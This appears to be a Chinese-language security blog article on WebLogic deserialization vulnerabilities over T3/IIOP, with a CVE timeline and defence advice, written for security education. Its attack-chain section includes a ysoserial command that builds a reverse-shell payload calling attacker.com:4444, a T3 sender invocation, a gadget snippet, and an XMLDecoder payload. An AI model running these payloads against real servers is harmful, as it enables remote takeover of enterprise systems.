Java 反序列化攻击面（一）：WebLogic 的 T3 协议与"漏洞打地鼠"史

一个默认开启、无需认证的 T3 协议，把 Oracle 最重量级的中间件变成了”扫描器一扫一个准”的靶子。
从 CVE-2015-4852 到 CVE-2023-21839，WebLogic 的反序列化漏洞修一个、冒一个，堪称 Java 生态的”漏洞打地鼠”教科书。

发布时间：2026年8月19日 | 阅读时长：约22分钟 | 标签：网络安全 / Java / 反序列化 / WebLogic

引言：中间件的”原生罪”

在 Java 反序列化攻击的版图上，WebLogic 占据着”开山鼻祖”的地位——2015 年的 CVE-2015-4852 是 Java 反序列化攻击的”标志性事件”，它第一次向全世界证明：

“反序列化”这个看似无害的功能，可以成为远程代码执行的入口。

而 WebLogic 之所以成为”重灾区中的重灾区”，根源在于它的一个设计——T3 协议：一个默认开启、无需认证、直接暴露在公网的专有通信协议。

一句话定义它：

WebLogic 的反序列化漏洞 = “高兼容性协议”（T3/IIOP）在带来便利的同时，打开的一扇潘多拉魔盒。

一、什么是 WebLogic？为什么它是攻击者的”香饽饽”？

1.1 WebLogic 简介

WebLogic 是 Oracle 旗下的 Java EE 应用服务器/中间件，是企业级应用（尤其金融、政府、电信）的”地基”之一：

承载大量核心业务系统（网上银行、政务平台、ERP 等）。
拥有庞大的企业用户基数和高价值数据。
往往长年运行、不易升级（业务不能停，补丁难打）。

1.2 为什么它总是”中招”？

因素	说明
暴露面广	默认监听 7001 端口（T3）和 7002（SSL），大量直接暴露公网
协议高危	T3/IIOP 协议默认开启、无需认证、支持反序列化
升级困难	企业核心系统难以频繁打补丁，老旧版本长期存在
价值极高	一旦攻破，往往直通企业核心数据

二、反序列化入口：T3 协议与 IIOP 协议

2.1 T3 协议：WebLogic 的”专有后门”

T3 是 WebLogic 用于集群间通信的专有二进制协议，运行在 7001 端口。它的致命之处在于：

默认开启：装完 WebLogic 就自动监听 T3。
无需认证：任何能连上 7001 端口的人，都能发送 T3 数据包。
支持反序列化：T3 数据包中可以夹带 Java 序列化对象，服务器会自动反序列化。

攻击者 → 发送 T3 数据包（内含恶意序列化对象）→ WebLogic 7001 端口
        ↓
WebLogic 自动反序列化该对象
        ↓
触发 gadget 链 → RCE

2.2 IIOP 协议：另一个入口

除了 T3，WebLogic 还支持 IIOP（Internet Inter-ORB Protocol，CORBA 的通信协议），同样存在反序列化问题，成为 T3 之外的又一个攻击入口（如 CVE-2023-21839）。

无论是 T3 还是 IIOP，共同点是：这些”高兼容性协议”为了集群通信的便利，默认接收并反序列化来自网络的对象——而这恰恰是攻击者最想要的入口。

三、原理：反序列化如何变成 RCE？

3.1 Java 反序列化的”自动重建”

Java 反序列化的核心是 ObjectInputStream.readObject()，它会把字节流自动重建成对象。问题在于：重建过程中，某些类的某些方法会被”自动调用”。

1
2
3

// 反序列化的核心入口
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();   // ← 危险点：自动重建对象，可能触发恶意逻辑

3.2 gadget 链：把”无害类”组装成”武器”

攻击者不能直接让服务器执行任意代码，但可以利用 classpath 里已有的”无害类”，把它们像”链条”一样串起来，最终触发命令执行。这就是著名的 gadget 链。

最经典的是 Commons Collections 的 gadget 链，其核心是利用 InvokerTransformer 类：

// 概念示例：Commons Collections 的 gadget 链核心（脱敏，仅供安全教育）
// InvokerTransformer 会在"转换"时反射调用指定方法
InvokerTransformer transformer = new InvokerTransformer(
    "exec",                                    // 方法名
    new Class[]{String.class},                 // 参数类型
    new Object[]{"cmd /c calc"}                // 参数（要执行的命令）
);
// 通过 ChainedTransformer + ConstantTransformer + LazyMap 等
// 把上述 transformer 串成一条链，最终在反序列化时触发 exec()

gadget 链的完整触发流程：

反序列化触发 readObject()
        ↓
调用某个 Map/集合类的特殊方法（如 hashCode、get）
        ↓
触发 LazyMap / TransformedMap 的"惰性转换"
        ↓
调用 ChainedTransformer（链式转换器）
        ↓
最终调用 InvokerTransformer.transform()
        ↓
反射执行 Runtime.exec("cmd /c calc") → RCE

3.3 ysoserial：gadget 链的”军火库”

攻击者无需手工构造 gadget 链，因为开源工具 ysoserial 已经收集了大量现成的 gadget 链：

# ysoserial 支持的 gadget 链（部分列举）
java -jar ysoserial.jar
# CommonsCollections1 ~ 7、CommonsBeanutils1、Jdk7u21、
# Spring1、Groovy1、RMI... 等数十条现成链

四、代码级攻击链：从 ysoserial 到 WebLogic RCE

下面还原一条完整的 WebLogic 攻击链（脱敏，仅供安全教育/授权测试）：

4.1 第一步：生成恶意 payload

1 2	# 用 ysoserial 生成 Commons Collections 恶意序列化对象 java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > payload.bin

4.2 第二步：探测 WebLogic

# 确认目标是否开放 WebLogic 端口
nmap -p 7001,7002 <target>

# 或使用专门的 WebLogic 扫描工具探测 T3 协议

4.3 第三步：通过 T3 协议发送 payload

# 概念示例：用专门的 T3 发送工具将 payload 发给目标（脱敏）
# 常见思路：先建立 T3 握手，再发送恶意序列化对象
# （实际工具如 weblogic_t3 等，此处仅示意流程）
java -jar weblogic_t3_sender.jar <target> 7001 payload.bin

4.4 第四步：获得 RCE

payload 被 WebLogic 反序列化
        ↓
触发 Commons Collections gadget 链
        ↓
执行反弹 shell 命令
        ↓
攻击者获得服务器控制权

五、WebLogic 漏洞年表：”打地鼠”的完整史

WebLogic 的反序列化漏洞，形成了一条**”修一个、冒一个”**的著名年表：

CVE	年份	组件/入口	说明
CVE-2015-4852	2015	T3 协议	开山之作：T3 反序列化（Commons Collections）
CVE-2016-0638	2016	T3 协议	绕过 4852 补丁的变种
CVE-2016-3510	2016	T3 协议	继续绕过
CVE-2017-3248	2017	RMI	RMI 反序列化
CVE-2017-10271	2017	WLS-WSAT	XMLDecoder 反序列化
CVE-2018-2628	2018	T3 协议	无需认证的 T3 反序列化
CVE-2018-2893	2018	T3 协议	继续绕过
CVE-2019-2725	2019	wls9-async	异步组件反序列化
CVE-2020-2555	2020	Coherence	Coherence 组件反序列化
CVE-2021-2109	2021	JNDI	JNDI 注入
CVE-2023-21839	2023	IIOP 协议	IIOP 反序列化

五个关键节点深度解析

① CVE-2015-4852（开山之作）

2015 年由 FoxGlove Security 公开，是 Java 反序列化攻击的”标志性事件”。
首次证明：通过 T3 协议发送恶意序列化对象，可触发 Commons Collections gadget 链实现 RCE。
影响：全球大量暴露的 WebLogic 中招，掀起”反序列化漏洞”研究热潮。

② CVE-2017-10271（XMLDecoder 反序列化）

与”二进制反序列化”不同，这个漏洞利用了 WLS-WSAT 组件的 XMLDecoder。
XMLDecoder 会解析 XML 中的 <object> 标签并实例化对象——攻击者构造恶意 XML 即可 RCE。

<!-- 概念示例：XMLDecoder 反序列化攻击载荷（脱敏，仅供安全教育） -->
<java version="1.8.0">
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
      <void index="0"><string>calc</string></void>
    </array>
    <void method="start"/>
  </object>
</java>

③ CVE-2019-2725（wls9-async 组件）

针对 WebLogic 的 异步 Web 服务组件（wls9-async）的反序列化漏洞。
影响极大，曾被多个勒索软件和黑产团伙用于批量入侵。

④ CVE-2020-2555（Coherence 组件）

针对 WebLogic 内置的 Coherence 缓存组件的反序列化漏洞。
不需要 Commons Collections 等第三方库，利用 WebLogic 自带的类即可完成 gadget 链。

⑤ CVE-2023-21839（IIOP 协议）

攻击面从 T3 扩展到 IIOP 协议，再次证明”高兼容性协议”的隐患。
2023 年公开后，被大规模扫描利用。

这条年表揭示了一个残酷的规律：WebLogic 的每一个”修复”，都在为下一个”绕过”埋下伏笔。 只要 T3/IIOP 等协议还在默认接收反序列化数据，这场”打地鼠”就不会结束。

六、为什么 WebLogic 这么难”一劳永逸”地修复？

6.1 协议兼容性的两难

T3/IIOP 是 WebLogic 集群通信的核心机制，不能简单地”一刀切”禁用。
Oracle 的修复往往是”加过滤、加黑名单”，但攻击者总能找到黑名单之外的 gadget 类。

6.2 gadget 链的”军备竞赛”

Oracle 封禁 Commons Collections gadget 链
        ↓
攻击者找到 Commons Beanutils、Groovy、Spring 等新链
        ↓
Oracle 继续封禁
        ↓
攻击者利用 WebLogic 自带的 Coherence 类构造链（无需第三方库）
        ↓
…… 循环往复

6.3 企业升级滞后的现实

WebLogic 常用于不能轻易停机的核心系统，补丁往往滞后数月甚至数年。
大量暴露在公网的老旧 WebLogic，成为”躺平等死”的靶子。

七、检测与防御：如何守住 WebLogic？

7.1 检测维度

检测点	方法
7001/7002 端口的异常 T3/IIOP 流量	网络监控、流量特征识别
公网暴露的 WebLogic 实例	资产测绘（Shodan/Censys/Fofa）
异常的 `readObject` / `Class.forName` 调用	RASP、运行时检测
是否有可疑的出站连接（反弹 shell）	EDR、网络流量分析

7.2 防御建议

限制暴露面（最高优先级）：
- 不要将 WebLogic 直接暴露公网，使用防火墙/反向代理隔离。
- 限制 7001/7002 端口的访问来源（白名单）。
禁用不必要的协议：
- 如不需要 T3/IIOP，通过配置禁用。
及时打补丁：
- 跟进 Oracle 的 Critical Patch Update（CPU），及时升级。
运行时防护（RASP）：
- 监控并阻断恶意反序列化调用。
依赖最小化：
- 移除不需要的第三方 gadget 库（Commons Collections 等）。

7.3 资产测绘（发现自己是否”裸奔”）

# 概念示例：用 nmap 探测公网 WebLogic（仅供授权测试/自查）
nmap -p 7001,7002 <your_ip> --open

# 使用 Shodan 检索暴露的 WebLogic
# shodan search "port:7001 weblogic"

八、结语：协议的便利，安全的代价

WebLogic 的反序列化史，本质上是一部”便利与安全的权衡史“：

T3/IIOP 协议让集群通信变得简单，却也因此把”自动反序列化不可信数据”的能力，永久地留在了公网上。

对防御者而言，WebLogic 最大的教训是：任何”默认开启、无需认证、自动处理外部数据”的协议，都应当被视为潜在的后门。 在无法彻底修复的情况下，”缩小暴露面“往往比”打补丁”更有效、也更紧迫。

参考资料

Oracle Critical Patch Update 历年公告
FoxGlove Security 关于 CVE-2015-4852 的原始披露
ysoserial 项目及各类 WebLogic 反序列化研究资料

本文基于公开资料整理撰写，仅供网络安全研究与教育目的使用，不构成任何安全或法律建议。

本文是「Java 反序列化攻击面」系列的第一篇：

《Java 反序列化攻击面（二）：Fastjson 的 autoType 与”修复 vs 绕过”拉锯战》 —— 系列第二篇
《Java 反序列化攻击面（三）：Shiro 的 rememberMe 与”默认密钥”之罪》 —— 系列第三篇
《Log4Shell：一次震动全球 Java 生态的”完美漏洞”》 —— Java 生态的另一高危漏洞
《CVE-2025-24813 Tomcat PUT漏洞POC——反序列化RCE的完整利用链》 —— Java 中间件的漏洞全景